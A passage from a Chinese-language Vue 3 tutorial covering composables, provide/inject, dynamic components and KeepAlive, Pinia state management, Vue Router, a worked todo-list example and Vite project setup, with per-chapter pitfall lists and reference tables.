import { ref } from 'vue'
/**
* 一个独立的计数器状态。
* @param {number} [init=0] 初始值
* @returns {{ count: import('vue').Ref<number>, inc: () => void, reset: () => void }}
*/
export function useCounter(init = 0) {
const count = ref(init) // 每次调用都新建,互不干扰
return { count, inc: () => count.value++, reset: () => { count.value = init } }
}
// composables/useLocalStorage.js
import { ref, watch } from 'vue'
/**
* 与 localStorage 同步的 ref。
* @param {string} key 存储键名
* @param {any} fallback 读不到(或解析失败)时的兜底值
*/
export function useLocalStorage(key, fallback) {
let initial = fallback
try { initial = JSON.parse(localStorage.getItem(key)) ?? fallback } catch { /* 脏数据兜底 */ }
const data = ref(initial)
watch(data, (v) => {
try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('存储失败', e) }
}, { deep: true })
return data
}
在组件里用:
<script setup>
import { useCounter, useLocalStorage } from '@/composables'
const { count, inc } = useCounter(0)
const note = useLocalStorage('todo-note', '')
</script>
写组合式函数的四条约定:
- 名字以
use开头,放composables/目录(Nuxt 里连 import 都不用写)。 - 返回值用 ref/computed 而不是普通值,否则解构就丢响应性。
- 入参接受 ref 时用
toValue()/unref()读,让调用方能传常量也能传响应式值。 - 内部注册的
watch、onMounted、provide、inject会自动挂到调用它的组件上——前提是在 setup 的同步执行期调用。
⚠️ 本章的坑
1. provide 的是原始值就断了响应。 provide('count', count.value) 传出去的是当时的快照,之后祖先怎么改后代都不动。provide 一个 ref(或 computed),后代读 .value。
2. 在异步回调里 inject / provide。 setTimeout(() => inject('theme')) 拿不到(脱离组件实例,Vue 会警告 inject() can only be used inside setup())。要注入就在 setup 顶层取好再用。
3. 组合式函数返回普通对象包着 .value。 return { count: count.value } 断掉响应性;返回值请给 ref 本身,解构 const { count } = useCounter() 之后必须写 count.value(模板里才自动解包)。
4. 顶层模块变量当成「每个组件一份」。 把 const state = ref(0) 写在函数外面(模块作用域),它就变成真正的全局单例——有时是故意的(全局配置),多数时候是 bug。
5. provide 的 key 拼错不会报错,只会拿到默认值。 用 Symbol() + 单独文件导出 key,或者 TypeScript 的 InjectionKey<T>,把这类错误交给编译器。
6. 后代直接改注入进来的状态会连累所有共享者。 这是设计(同一份数据),不是 bug。规范做法:provide 只读数据 + provide 一个改的动作,后代只调函数。
7. 忘记清理的组合式函数是隐形泄漏源。 useMouse() 里 addEventListener('mousemove') 必须有 onUnmounted(() => removeEventListener(...));useIntervalFn 之类要在卸载时停。
附:状态传递方式选择表
| 需求 | 用什么 |
|---|---|
| 父 → 子一层 | props |
| 子 → 父一层 | emit |
| 表单值父子同步 | v-model / defineModel() |
| 跨 2 层以上的环境数据(主题、语言、面板) | provide / inject |
| 全局共享、跨路由、需要 devtools | Pinia(第十五章) |
| 复用「逻辑 + 状态」,作用域仍在单组件内 | 组合式函数 useXxx |
| 复用「DOM 行为」 | 自定义指令 |
| 调用子组件方法 | 模板 ref + defineExpose(最后手段) |
十四、动态组件、KeepAlive 与异步组件
标签名不固定(tab 面板、渲染器、表单字段类型由数据决定),或者「切走再回来不想丢掉输入」,都属于这一章。
动态组件:<component :is>
<script setup>
import { shallowRef, ref } from 'vue'
import FieldText from './FieldText.vue'
import FieldSelect from './FieldSelect.vue'
// 方式一:字符串组件名(要求已注册)
const name = ref('field-text')
// 方式二:组件对象——用 shallowRef,别让 Vue 深度代理一个组件定义
const field = shallowRef(FieldText)
</script>
<template>
<component :is="name" :model-value="text" @update:model-value="text = $event" />
<component :is="field" />
</template>
用组件对象时 ref(FieldText) 会触发「组件被 reactive 代理」的警告并带来无谓开销,shallowRef 才是正解(示例 14 有对照)。
KeepAlive:缓存切换出去的组件
<KeepAlive include="tab-a,tab-b" :max="10">
<component :is="current" />
</KeepAlive>
包上 KeepAlive 后,切走的组件不卸载,状态(输入框内容、滚动位置、内部数据)保留;回来的时候不重新请求。配套钩子:onActivated / onDeactivated(这才是缓存组件里该写「每次进入时刷新数据」的地方,onMounted 只会执行一次)。
| props | 作用 |
|---|---|
include | 只缓存名字匹配的组件(按 name 匹配) |
exclude | 除这些名字外都缓存 |
max | 最多缓存几个,超出按 LRU 淘汰 |
<script setup> 的组件名默认由文件名推断,跨目录或动态创建时不稳定——需要精确匹配就用 defineOptions({ name: 'TabA' })。
异步组件与 Suspense
const HeavyChart = defineAsyncComponent({
loader: () => import('./HeavyChart.vue'),
loadingComponent: LoadingBox, // 加载期间显示
errorComponent: ErrorBox, // 失败时显示
delay: 200, // 200ms 内完成就不闪 loading
timeout: 10000 // 超时走 errorComponent
})
路由级懒加载用的就是同一套机制(第十六章:component: () => import('./Page.vue'))。<Suspense>(实验性)能把「等待异步依赖」的边界统一交给模板管理,配合 async setup 使用;入门阶段先知道它存在即可。
defineExpose:<script setup> 默认是封闭的
<!-- FieldText.vue -->
<script setup>
import { ref } from 'vue'
const inner = ref('秘密')
function focus() { /* ... */ }
defineExpose({ focus }) // 只有列在这里的,父级通过 ref 才拿得到
</script>
父级 fieldRef.value.focus() 可用,fieldRef.value.inner 是 undefined。这是刻意的设计(组件内部实现属于隐私),别为了「方便」把整个实例 expose 出去——优先用 props/emit。
示例 14 的开关能直观看到:不包 KeepAlive 时切走再回来输入没了(走的是 unmount/mount),包上之后内容还在、日志打的是 deactivated/activated。
⚠️ 本章的坑
1. 组件对象被 ref() 包装。 出现 Component is being stateful... / Vue 警告组件被代理,并伴随性能损耗。组件定义请用 shallowRef 或普通常量。
2. KeepAlive 里 onMounted 不再「每次进入都跑」。 用户从 tab 切走再回来,你以为会刷新数据,其实什么都没发生。需要每次进入刷新的逻辑写在 onActivated。
3. include 匹配不到。 <script setup> 组件名靠文件名推断,动态/打包后与预期不符 → 缓存完全没生效。显式 defineOptions({ name: 'X' })。
4. 多根组件包在 KeepAlive / Transition 里直接报错。 这两者都要求默认插槽只有一个元素,且该元素是单根的。
5. 忘记 max 导致内存吃紧。 每个被缓存的 tab 都活着(包括它的数据与定时器)。列表型 tab 建议 :max="5" 或用 exclude 排除重组件。
6. 缓存组件里的全局监听不会自动解绑。 因为它压根没走卸载钩子——onDeactivated 里也要记得移除监听。
7. 异步组件默认每次重新挂载都会重新请求 chunk。 命中不了浏览器缓存时观感就是「转圈」。需要缓存实例时再套 KeepAlive。
8. :is 的值是 undefined 时什么都不渲染,且开发版只给一句弱警告。用 v-if="current" 兜一层,或给个默认组件——「页面空白但没报错」多半就是这个。
附:常用组合速查
| 需求 | 组合写法 |
|---|---|
| tab 面板 | <component :is="tabMap[key]" /> + KeepAlive include |
| 表单字段按类型渲染 | shallowRef 存组件 + <component :is> + v-bind |
| 首屏之外的重组件 | defineAsyncComponent(() => import(...)) |
| 需要动画的切换 | <Transition name="x"><component :is="v" /></Transition>(单根) |
| 调用子组件方法 | 子 defineExpose + 父模板 ref |
| 缓存数量兜底 | <KeepAlive :max="5"> |
十五、Pinia:跨页面共享状态
组件树解决「谁是谁的孩子」,但实际项目里总有数据不属于任何一棵子树:登录用户、购物车、主题、全局消息提示。放在某个组件里就得层层透传,放外面又丢了响应性。状态管理库把这些数据收进一个「独立的、响应式的、任何组件都能引用」的对象。
Vue 生态现在的答案是 Pinia(Vuex 已进入维护状态,新项目别选它)。
安装与最小闭环
npm install pinia # Vue 3 + Vite 项目
// main.js
import { createApp } from 'vue'
import { createPinia } from 'pinia'
import App from './App.vue'
createApp(App).use(createPinia()).mount('#app')
// stores/counter.js —— setup store(推荐写法:长得像组件)
import { ref, computed } from 'vue'
import { defineStore } from 'pinia'
export const useCounter = defineStore('counter', () => {
const count = ref(0)
const double = computed(() => count.value * 2)
function inc(step = 1) { count.value += step }
async function loadFromServer() { /* ... */ }
return { count, double, inc, loadFromServer }
})
<script setup>
import { useCounter } from '@/stores/counter'
const store = useCounter() // 组件里再调用,不要在模块顶层调
</script>
<template>
<p>{{ store.count }} / {{ store.double }}</p>
<button @click="store.inc()">+1</button> <!-- 解构会丢响应性,方法倒是可以直接用 -->
</template>
选项式 store 也支持(更接近 Vuex 手感,自带 $reset):
export const useCart = defineStore('cart', {
state: () => ({ items: [], coupon: '' }),
getters: { total: (s) => s.items.reduce((a, x) => a + x.price * x.qty, 0) },
actions: {
add(item) { /* this.items.push(item) */ }
}
})
| API | 作用 |
|---|---|
store.count | 读写状态(自动 unwrap ref) |
storeToRefs(store) | 解构时保住响应性(方法单独拿出来) |
store.$patch({ items: [] }) | 批量改(devtools 里合成一条记录) |
store.$patch((s) => { … }) | 函数式批量改 |
store.$reset() | 重置回初始 state(setup store 需自己实现) |
store.$state = { … } | 整体替换 |
store.$subscribe((m, s) => …) | 订阅变化(做持久化的地基) |
store.$onAction(({ after, onError }) => …) | 拦截动作(埋点、错误上报) |
持久化:先把这一层想清楚
Pinia 本体不做持久化。两种路子:插件(pinia-plugin-persistedstate,配置 persist: true)或手写 watch + localStorage:
// stores/user.js 之后,在 App 里手动同步(简单可控)
watch(
() => ({ token: userStore.token, profile: userStore.profile }),
(v) => localStorage.setItem('user', JSON.stringify(v)),
{ deep: true }
)
三条纪律:只存该存的(token 可以,完整用户资料没必要);存之前想清楚版本(结构变了读回旧数据要能兜底);别把 store 整个 stringify(里面可能有不可序列化的东西,devtools 也会抱怨)。
示例 15 把两个「页面级组件」并排放着,它们各自 useCounter() 拿到的是同一个 store 实例;第二块演示 const { count } = store 之后界面不再更新,storeToRefs 一按就活了。
⚠️ 本章的坑
1. 直接解构 store 丢响应性。 const { count } = useCounter() 后 count 是普通数字快照(setup store 甚至更微妙)。请用 storeToRefs(store) 解构状态,动作(action)可以单独解构。
2. 在模块顶层调 useXxxStore()。 「调用 store」必须在 app.use(createPinia()) 之后、且在组件 setup 上下文里。模块顶层调用会得到 getActivePinia was called with no active Pinia 报错。写 const store = useCounter() 在 <script setup> 里才对。
3. setup store 没有 $reset()。 需要重置就自己在里面写 function $reset() { count.value = 0 }(Pinia 允许你覆盖这个保留名)。
4. 两个 store 互相引用形成循环。 A 里 useB()、B 里 useA() 会导致初始化顺序炸掉。解法:把「调用」挪进 action 内部(用到时才取),或引入第三个 store 承担协调。
5. getters 里做副作用。 和 computed 同一纪律(第五章)——它只负责算值。发请求、埋点放 action。
6. action 里用箭头函数导致 this 丢失。 选项式 store 的 actions: { add: () => { this.items.push() } } 直接坏掉。用普通函数 add() {}。
7. 持久化把敏感信息写进 localStorage。 刷新令牌、完整用户对象留在浏览器里,XSS 一次就全丢。token 该放 httpOnly Cookie 就别放 localStorage。
8. 把 store 当成「全局变量垃圾桶」。 组件级状态(弹窗开合、当前表单草稿)放 store,会让复用和测试都变难。判断标准:需要跨路由/跨不相关组件共享,才进 store。
9. SSR/服务端渲染下的状态串号。 全局单例 store 在多请求间会串数据。做 SSR(Nuxt)时每个请求要独立实例——这正是 Nuxt 教程里 defineStore + 服务端注意事项那章要解决的问题。
附:状态方案的选择
| 状态范围 | 方案 |
|---|---|
| 单个组件内部 | ref / reactive |
| 父 ↔ 子 | props / emit / v-model |
| 同一子树共享(主题、表单上下文) | provide / inject |
| 跨页面、全局共享(用户、购物车) | Pinia |
| 服务端数据(列表、详情,需缓存与重新获取) | useFetch(Nuxt)/ TanStack Query 一类 |
| 纯 URL 可表达的状态(筛选、分页、tab) | 路由 query(第十六章) |
十六、Vue Router:单页应用的路由
路由 = 「URL ↔ 界面」的映射表。它让单页应用有可分享的地址、可前进后退的历史、可刷新的子页面。本教程基于 Vue Router 5(Nuxt 4 里用的就是它),语法与 v4 基本一致。
三步建起来
npm install vue-router
// router/index.js
import { createRouter, createWebHistory } from 'vue-router'
import Home from '@/views/Home.vue'
const routes = [
{ path: '/', name: 'home', component: Home },
{ path: '/about', name: 'about', component: () => import('@/views/About.vue') }, // 懒加载
{ path: '/users/:id', name: 'user', component: () => import('@/views/User.vue'), props: true },
{ path: '/posts/:page?', component: () => import('@/views/Posts.vue') }, // 可选参数(省略时 undefined)
{
path: '/dashboard',
component: () => import('@/views/Dashboard.vue'),
children: [ // 嵌套:父组件里要放 <RouterView />
{ path: '', component: DashboardHome }, // /dashboard
{ path: 'analytics', component: Analytics } // /dashboard/analytics
]
},
{ path: '/:pathMatch(.*)*', name: 'not-found', component: NotFound } // 兜底 404
]
export const router = createRouter({
history: createWebHistory(), // 干净 URL,需要服务端 fallback
routes,
scrollBehavior: (to, from, saved) => saved || { left: 0, top: 0 }
})
// main.js
import { createApp } from 'vue'
import router from './router'
createApp(App).use(router).mount('#app')
<!-- App.vue -->
<template>
<nav>
<RouterLink to="/">首页</RouterLink>
<RouterLink :to="{ name: 'user', params: { id: 42 } }">用户 42</RouterLink>
</nav>
<RouterView /> <!-- 当前路由的组件渲染在这里 -->
</template>
三种 history,决定部署方式
| 创建方式 | URL 形态 | 服务端要不要配 fallback | 适合 |
|---|---|---|---|
createWebHistory() | /users/42 | 要(刷新时所有路径都要回落到 index.html) | 正式站点,SEO 友好 |
createWebHashHistory() | /#/users/42 | 不要 | 静态托管、iframe 内、子目录里懒得配 nginx |
createMemoryHistory() | 不写地址栏 | — | 测试、示例(本教程的示例 16 用的就是它) |
history 模式下 nginx 的一行配置:try_files $uri $uri/ /index.html;。漏了它的症状是「首页能进,刷新子页面 404」。
读参数与跳转
<script setup>
import { useRoute, useRouter } from 'vue-router'
const route = useRoute() // 响应式的当前路由:params / query / hash / path / matched / meta
const router = useRouter() // 命令式跳转
function go() {
router.push({ name: 'user', params: { id: 7 } })
router.replace({ path: '/login', query: { redirect: route.fullPath } }) // 不留历史
router.back()
}
</script>
<template>
<p>id = {{ route.params.id }},页码 = {{ route.query.page }}</p>
</template>
props: true(或 props: (route) => ({ id: Number(route.params.id) }))能把参数直接注入成组件 props,组件里就可以不依赖 useRoute——复用性和可测性都更好。
同一路由只换参数时组件会被复用(/users/1 → /users/2),mounted 不再执行。三种应对::key="route.fullPath" 强制重建、watch(() => route.params.id, load)、或 onBeforeRouteUpdate。
导航守卫:三句话讲清
// 全局
router.beforeEach((to) => {
if (to.meta.requiresAuth && !isLoggedIn()) {
return { name: 'login', query: { redirect: to.fullPath } } // 返回地址 = 重定向
}
// 返回 undefined / true = 放行;返回 false = 取消导航
})
// 路由独享
{ path: '/admin', component: Admin, meta: { requiresAuth: true },
beforeEnter: (to) => isAdmin() || '/403' }
// 组件内(<script setup> 用这两个函数)
import { onBeforeRouteLeave, onBeforeRouteUpdate } from 'vue-router'
onBeforeRouteLeave(() => edited.value ? confirm('有未保存内容,确定离开?') : true)
meta 是自由字段(配合 TS 声明增强提示),常用来放 requiresAuth、title、layout。异步守卫可以直接 await(旧代码里的 next() 调用方式仍可用,新代码用返回值更清晰)。
示例 16 里点链接能看到「命中了哪条路由记录、params/query 是什么、守卫放不放行」,右侧同步显示当前 route 对象的结构。
⚠️ 本章的坑
1. history 模式部署后刷新 404。 静态服务器只会为真实文件返回 200,/users/42 不是文件。必须配 fallback(try_files … /index.html)或改 hash 模式。子路径部署时还要给 createWebHistory('/nuxt/') 传 base——这个 base 要和构建的 base 配置一致,否则资源路径和路由路径各说各话。
2. params 在 path 写法里会被静默丢弃。 router.push('/users/' + id) 之后 route.params 是空的;要用 push({ name, params }) 或把值拼进 path 再从 route.path 解析。
3. 用 v-if 或 <a href> 替代 <RouterLink>。 原生 <a> 会触发整页刷新(单页应用的意义就没了)。需要「看起来像链接」时用 <RouterLink custom v-slot="{ navigate }"> 自定义渲染。
4. 守卫里返回 true/false 与 next() 混用。 同一个守卫里既 next() 又 return 会行为怪异。选一种风格,新项目建议返回值。
5. 守卫里做异步请求没加超时/取消。 用户点得快,导航会卡在「等待鉴权」;请求失败时如果既不 return false 也不重定向,界面就停在原地,看起来像「链接点不动」。
6. 只换参数的页面不重新请求数据。 上面「同一路由复用组件」那条,是最常见的「切了个分类,列表还是老数据」。
7. 404 兜底路由必须放最后。 /:pathMatch(.*)* 写在前面会把所有路径吃掉。它的路径语法(v4/v5 都支持这一种)值得抄下来,别靠记忆改写成 (.*?)。
8. scrollBehavior 返回 savedPosition 时要判空。 直接 return saved 在没保存位置时返回 undefined,Vue Router 会退化成「滚到顶部」,可能不是你想要的。
9. 路由懒加载的组件路径写错不会立刻报错。 () => import('./VIEWS/About.vue') 只在真正进入那条路由时才失败(表现为「点了没反应/白屏」)。构建期用 vite 的 build.rollupOptions 报错或跑一遍全路由点击来兜住。
附:路由速查
| 需求 | 写法 |
|---|---|
| 声明 | { path: '/u/:id', component: User, name: 'user', props: true, meta: { title: '用户' } } |
| 可选参数 | /posts/:page?(省略时 params.page 为 undefined) |
| 参数格式校验 | 别依赖路径里的正则(不同小版本语法有出入,实测为准);用 beforeEnter 守卫或 props: (route) => ({ page: Number(route.params.page) || 1 }) 更稳 |
| 嵌套子路由 | 父记录 children: [...],父组件里再放 <RouterView /> |
| 兜底 404 | { path: '/:pathMatch(.*)*', component: NotFound }(放最后) |
| 链接 | <RouterLink :to="{ name: 'user', params: { id } }"> |
| 激活样式类 | active-class / exact-active-class(默认 router-link-active / -exact-active) |
| 命令式跳转 | router.push() / replace() / back() / forward() |
| 读当前路由 | useRoute()(响应式,别解构整个对象) |
| 守卫 | 全局 beforeEach / afterEach,记录 beforeEnter,组件内 onBeforeRouteLeave/Update |
| 滚动 | scrollBehavior: (to, from, saved) => saved ?? { left: 0, top: 0 } |
| 懒加载 | component: () => import('./Views/X.vue') |
| 路由中间件式复用 | 把校验逻辑抽进 meta + 一个全局守卫(Nuxt 里有专门的 definePageMeta + middleware) |
十七、综合实战:一个待办清单,把前面十六章串起来
待办清单是「最小的完整应用」:有输入、有列表、有筛选、有持久化、有组件拆分。下面按「先能跑,再拆好」的顺序走一遍,每一步都只用到前面章节出现过的语法。示例 17 是最终成品,可以直接玩。
第一步:数据形状先定下来
// 一条待办就是一个普通对象,id 稳定唯一(第十一章的 key 就靠它)
{ id: 1731289000, text: '写教程', done: false, createdAt: 1731289000 }
先定数据,再写模板。 界面所有状态都能从这份数据算出来,就没有第二份需要同步的「影子状态」(这是 UI bug 的主要来源)。
第二步:最小可用版(一个文件)
<script setup>
import { ref, computed, watch } from 'vue'
const KEY = 'vue3-todo'
const storage = ref([])
const draft = ref('')
const filter = ref('all') // all | active | done
const add = () => {
const text = draft.value.trim()
if (!text) return
storage.value.push({ id: Date.now(), text, done: false })
draft.value = ''
}
const visible = computed(() =>
storage.value.filter(t => filter.value === 'all' ? true : t.done === (filter.value === 'done'))
)
const left = computed(() => storage.value.filter(t => !t.done).length)
watch(storage, (v) => localStorage.setItem(KEY, JSON.stringify(v)), { deep: true })
</script>
<template>
<section class="todo">
<form @submit.prevent="add">
<input v-model="draft" placeholder="要做什么?" aria-label="新待办">
<button type="submit" :disabled="!draft.trim()">添加</button>
</form>
<ul>
<li v-for="t in visible" :key="t.id">
<label>
<input type="checkbox" v-model="t.done">
<span :class="{ done: t.done }">{{ t.text }}</span>
</label>
<button type="button" @click="storage = storage.filter(x => x.id !== t.id)">删除</button>
</li>
</ul>
<footer>
剩 {{ left }} 项
<select v-model="filter">
<option value="all">全部</option>
<option value="active">未完成</option>
<option value="done">已完成</option>
</select>
</footer>
</section>
</template>
这一段里已经出现了:ref + 数组、v-model 在 checkbox 上直接改行内字段、computed 做筛选与统计、@submit.prevent、:disabled、:key、watch 做持久化。入门阶段能写出这个版本,就说明语法都打通了。
第三步:拆组件(该拆的地方只有一处)
判断标准:某块有自己的状态或行为、且被用了两次以上,就值得独立成组件。这里 TodoItem 有「编辑态」这个本地状态,最合适被拆出去。
<!-- components/TodoItem.vue -->
<script setup>
import { ref } from 'vue'
const props = defineProps({ todo: { type: Object, required: true } })
const emit = defineEmits(['toggle', 'remove', 'rename'])
const editing = ref(false)
const text = ref(props.todo.text)
function save() {
const t = text.value.trim()
if (t && t !== props.todo.text) emit('rename', t)
editing.value = false
}
</script>
<template>
<li>
<template v-if="!editing">
<label><input type="checkbox" :checked="props.todo.done" @change="emit('toggle')"><span>{{ props.todo.text }}</span></label>
<button type="button" @click="editing = true">编辑</button>
<button type="button" @click="emit('remove')">删除</button>
</template>
<template v-else>
<input v-model="text" @keyup.enter="save" @keyup.esc="editing = false" autofocus>
<button type="button" @click="save">保存</button>
</template>
</li>
</template>
父组件把「怎么改数据」收口成三个动作:
<script setup>
import TodoItem from './components/TodoItem.vue'
function toggle(id) { const t = storage.value.find(x => x.id === id); t.done = !t.done }
function remove(id) { storage.value = storage.value.filter(x => x.id !== id) }
function rename(id, text) { const t = storage.value.find(x => x.id === id); t.text = text }
</script>
<template>
<ul>
<TodoItem
v-for="t in visible" :key="t.id" :todo="t"
@toggle="toggle(t.id)" @remove="remove(t.id)" @rename="(text) => rename(t.id, text)"
/>
</ul>
</template>
注意 :key="t.id" 让「编辑中的那一行」在筛选切换时不会被别的行复用(第十一章)。
第四步:把可复用逻辑抽成组合式函数
持久化 + 初始化那三行,下一个项目还要再写一遍 → 抽走(第十三章的形状):
// composables/usePersistentList.js
import { ref, watch } from 'vue'
/**
* 一个自动落盘 localStorage 的列表。
* @param {string} key 存储键名
* @param {Array} [initial=[]] 读不到数据时的初始值
* @returns {import('vue').Ref<Array>} 响应式数组
*/
export function usePersistentList(key, initial = []) {
let start = initial
try {
const raw = JSON.parse(localStorage.getItem(key))
if (Array.isArray(raw)) start = raw
} catch { /* 脏数据:安静回落到初始值 */ }
const list = ref(start)
watch(list, (v) => {
try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('写入失败', e) }
}, { deep: true })
return list
}
组件里就剩一行:const storage = usePersistentList('vue3-todo')。
这一路做出来的检查点
| 检查项 | 对应章节 |
|---|---|
列表有稳定 :key,切换筛选不串行 | 第十一章 |
数据源只有一份,统计/筛选是 computed | 第五章 |
子组件不改 props,改动通过 emit 交回父级 | 第九章 |
表单用 @submit.prevent,辅助按钮写 type="button" | 第六章 |
| 空输入、空白字符、重复项在服务端和客户端都挡 | 第二章、第六章 |
| 卸载时清理定时器/监听 | 第十二章 |
localStorage 读写包 try/catch(隐私模式会抛异常) | 第十三章 |
每个输入框有 label 或 aria-label,按钮有可见焦点 | 第七章 |
示例 17 的数据落在 localStorage 的 vue3-todo 键上。注意:站点里的预览是沙箱 iframe(不给 allow-same-origin),存储被浏览器隔离,所以要看「刷新还在」的效果请点示例右上角的「在新标签页打开」;在沙箱里它会自动降级成内存存储并在迷你控制台说明一句——这本身也是一条真实世界的经验:永远不要假设 localStorage 可用(无痕模式、iframe、隐私扩展都会禁用它)。
十八、工程化:把这些语法装进一个可维护的项目
前面各章的示例都是「一个 <script> 标签」跑起来的。真实项目要的是:能拆文件、能装依赖、能构建、能部署。这一章把 Vite + 单文件组件这一层补齐,也是从「会写 Vue」跨到「能用 Vue 做项目」的那一步。
建项目:两条路
# ① 官方脚手架(交互式,能选 Router / Pinia / TS / ESLint / Vitest)
npm create vue@latest my-app
cd my-app && npm install && npm run dev
# ② 裸 Vite + Vue 插件(想要极简时)
npm create vite@latest my-app -- --template vue
npm create vue@latest 生成的骨架里,src/main.js 负责 createApp(App).use(router).use(createPinia()).mount('#app'),src/App.vue 是根组件——这就是你在示例里写的 createApp(...).mount('#app'),只是被搬进了文件。
目录约定(Vite + Vue 社区常见形状):
my-app/
├── index.html Vite 的入口 HTML(里面有 <div id="app">)
├── vite.config.js 构建配置(插件、别名、base、代理)
├── public/ 原样拷贝进产物,不参与打包
└── src/
├── main.js 应用入口
├── App.vue 根组件
├── assets/ 需要被打包的资源(图片、字体、CSS)
├── components/ 可复用组件
├── views/ 路由页面级组件
├── composables/ useXxx 组合式函数(第十三章)
├── stores/ Pinia(第十五章)
├── router/ Vue Router(第十六章)
└── utils/ 纯函数工具
Nuxt 项目结构不一样(app/pages、server/api、自动导入),那是姊妹篇《Nuxt 教程》的内容——语法同源,工程外壳不同。
单文件组件的三块
<script setup>
/* 逻辑:组合式 API 写在这里,顶层声明的东西模板直接可用 */
</script>
<template>
<!-- 结构:只允许一个根节点吗?不必,Vue 3 支持多根(fragment),但要注意 attrs 继承(第七章) -->
</template>
<style scoped>
/* 样式:scoped 给这个组件的类名加哈希,不会污染全局 */
.box { border: 1px solid #ddd; }
:deep(.el-input__inner) { background: transparent; } /* 穿透到子组件/第三方组件内部 */
</style>
scoped 不是 CSS Modules,它只是加了属性选择器;第三方组件内部的样式还得靠 :deep()(这是「我的样式怎么不生效」的高频答案)。
别名、代理与构建配置
// vite.config.js
import { fileURLToPath, URL } from 'node:url'
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
export default defineConfig({
plugins: [vue()],
resolve: {
alias: { '@': fileURLToPath(new URL('./src', import.meta.url)) } // import '@/stores/user'
},
server: {
proxy: { '/api': { target: 'http://localhost:8080', changeOrigin: true } } // 开发期跨域
},
base: '/shop/' // 部署在子路径时必须设置,否则资源 404
})
base 这一行是「本地正常、上线白屏」的第一嫌疑人。站点挂在 https://site.com/shop/ 下却没配 base: '/shop/',产物里的 <script src="/assets/index-xxx.js"> 就会指到根路径去要文件(示例 08 的部署检查器就是为这个坑做的)。同时用 history 路由的话,createWebHistory('/shop/') 的 base 要和它保持一致。
环境变量:只有 VITE_ 开头的才会进前端
# .env.development
VITE_API_BASE=http://localhost:8080/api
VITE_APP_TITLE=本地调试
const base = import.meta.env.VITE_API_BASE
console.log(import.meta.env.MODE, import.meta.env.DEV, import.meta.env.PROD)
.env 里的值会被编译进产物——任何人 Ctrl+U 查看源码就能拿到。后端密钥、数据库连接串绝对不能放这里;要放就放到服务端(Nuxt 的 server/api + runtimeConfig 是标准做法)。
TypeScript:值不值
值,但建议第二步再上。Vue 3 对 TS 的支持很好(defineProps<{}>() 泛型写法、模板类型检查),代价是学习曲线叠加。折中路线:先写 JS + JSDoc 注释(本项目的 composable 就是这么写的),需要时再把关键模块换成 .ts。
npm i -D typescript vue-tsc
npx vue-tsc --noEmit # 类型检查(vue-tsc 才认得 .vue 文件)
部署与调试
npm run build # 产物在 dist/
npm run preview # 本地按生产方式跑一遍,上线前必做
npm run dev正常但build后白屏:99% 是base或 history fallback 的问题(上一节)。- 上线后没有警告:生产构建剥掉了 props 校验、路由警告。上线前一定
npm run build && npm run preview走一遍。 - Vue Devtools:浏览器扩展,能看到组件树、响应式数据、Pinia、路由器。装好后组件里会多一个「检查」按钮。
- 打包体积:
rollup-plugin-visualizer看谁占大头;路由级懒加载(第十六章)通常是最有效的一刀。
Vue 2 → Vue 3 迁移对照(读老代码用)
| 主题 | Vue 2 | Vue 3 |
|---|---|---|
| 创建实例 | new Vue({ render }) | createApp(App).mount('#el') |
| 全局注册 | Vue.component | app.component(作用域只在某个 app) |
| 组件根节点 | 必须单根 | 允许多根(fragment) |
| v-model 自定义 | model: { prop, event } | modelValue + update:modelValue,或 v-model:xxx |
| 事件总线 | $on/$off/$once | 已移除,用 mitt 或 store |
| 过滤器 | {{ x | f }} | 已移除,用 computed/方法 |
| 生命周期 | beforeDestroy / destroyed | beforeUnmount / unmounted |
| 逻辑复用 | mixins | 组合式函数 useXxx |
| 响应式限制 | 新增属性要 Vue.set | Proxy,直接赋值即可 |
| 指令钩子名 | bind / inserted / componentUpdated | created / mounted / updated / beforeUnmount / unmounted |
| 插槽 | slot="x" / slot-scope | <template #x="{ data }"> |
| 事件修饰符 | .native、.sync | 都已移除(.sync → v-model:xxx) |
key 位置 | <template v-for> 不支持 key | <template v-for :key> 合法 |
| CSS 作用域 | /deep/、>>> | :deep() |
⚠️ 本章的坑
1. 大小写敏感只在 Linux 上出现。 import TodoItem from './components/todointerface.vue' 在 Windows/macOS 能跑,CI(Linux)直接构建失败。文件路径一律与真实文件名逐字符一致。
2. 忘了装 @vitejs/plugin-vue。 .vue 文件被当普通文本,报错内容通常是 Unexpected token '<'。模板里选了 vue 却没装插件(或自己接 Vite 时漏配)都会这样。
3. base 与路由 history base 不一致。 一个 /shop/、一个 /,表现是「资源能加载但路由一跳就跑出子目录」,或者反过来。两处一起改。
4. 环境变量没加 VITE_ 前缀。 API_BASE=xxx 在前端读出来是 undefined(Vite 有意不暴露),别怀疑是 Vue 的锅。
5. 把 .env 提交进仓库。 里面有生产接口地址、埋点 key 都会被打包出去。.env 进 .gitignore,.env.example 出模板。
6. scoped 里改第三方组件样式没生效。 用 :deep(.xxx),或者干脆给组件传 class 让库自己处理。
7. dev 环境跨域正常,生产 404。 开发期靠 server.proxy 骗过了同源限制,线上必须由 nginx/网关反代同一 /api 前缀。上线前用 npm run preview + 真实反代验证。
8. 一次改完就 git commit 没跑 build。 类型错误、模板语法错误只在构建期暴露,别把「dev 能跑」当成「能上线」。
附:新项目起手清单
| 项目 | 建议 |
|---|---|
| 创建 | npm create vue@latest,Router / Pinia 按需勾选 |
| 目录 | views/ 页面、components/ 复用件、composables/ 逻辑、stores/ 全局状态 |
| 别名 | @ → src(脚手架已配) |
| 请求 | axios/fetch 封装一层,baseURL 从 import.meta.env 读 |
| 校验 | ESLint + Prettier(脚手架选上),提交前 --fix |
| 类型 | 先 js + JSDoc,重要模块逐步换 ts |
| 部署 | 子路径记得 base;history 路由记得 try_files |
| 上线前 | npm run build && npm run preview 全点一遍 + Devtools 看警告 |
十九、收尾:Vue 3 的坑汇总与下一步
各章的「⚠️ 本章的坑」收进一张表,按「症状」来查最省事——因为你多半是在页面上看到一个怪现象才想起翻教程的。
按症状找原因
| 症状 | 最可能的原因 | 详见 |
|---|---|---|
页面空白、控制台报 Failed to mount app | 挂载目标不存在 / 脚本比容器先执行 | 一 |
组件明明 import 了却 Unknown custom element | 路径大小写不对、忘 .vue 后缀、in-DOM 标签名大小写 | 二、八、十八 |
{{ count }} 显示成字面量 | 没挂载 / 挂错元素 / in-DOM 模板被 v-pre 跳过 | 一、二 |
| 数据变了界面不动 | 解构了 reactive/store、忘了 .value、provide 传了原始值、index 当 key 后组件被复用 | 四、十一、十三、十五 |
